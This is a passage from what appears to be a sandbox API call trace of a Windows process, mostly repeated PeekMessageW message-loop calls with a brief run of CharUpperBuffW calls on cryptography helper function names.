wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.935] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.935] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.935] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.935] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.935] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.935] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.935] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.935] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.936] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.936] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.936] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.936] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.936] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.936] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.936] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0049.936] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.937] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0049.937] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.937] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0049.937] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.937] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0049.937] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.937] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0049.937] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.937] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0049.937] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.937] CharUpperBuffW (in: lpsz="_CRYPT_HASHDATA", cchLength=0xf | out: lpsz="_CRYPT_HASHDATA") returned 0xf [0049.937] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.937] CharUpperBuffW (in: lpsz="_CRYPT_HASHFILE", cchLength=0xf | out: lpsz="_CRYPT_HASHFILE") returned 0xf [0049.937] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.937] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0049.937] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.938] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0049.938] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.938] CharUpperBuffW (in: lpsz="_CRYPT_GENRANDOM", cchLength=0x10 | out: lpsz="_CRYPT_GENRANDOM") returned 0x10 [0049.938] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.938] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0049.938] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.938] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0049.938] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.938] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0049.938] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.938] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0049.938] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.938] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0049.938] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.938] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0049.938] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.939] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0049.939] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.939] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0049.939] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.939] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.939] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.939] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.939] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.939] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.939] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.939] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.939] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.939] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.939] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.939] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.939] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.941] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.942] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.942] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.942] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.942] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.942] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.942] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.943] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.943] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.943] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.943] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.943] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.943] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.943] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.943] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.943] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.943] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.943] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.943] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.943] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.944] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.944] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.944] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.944] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.944] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.944] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.944] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.944] PeekMessageW (in: lpMsg=0x130f86c, 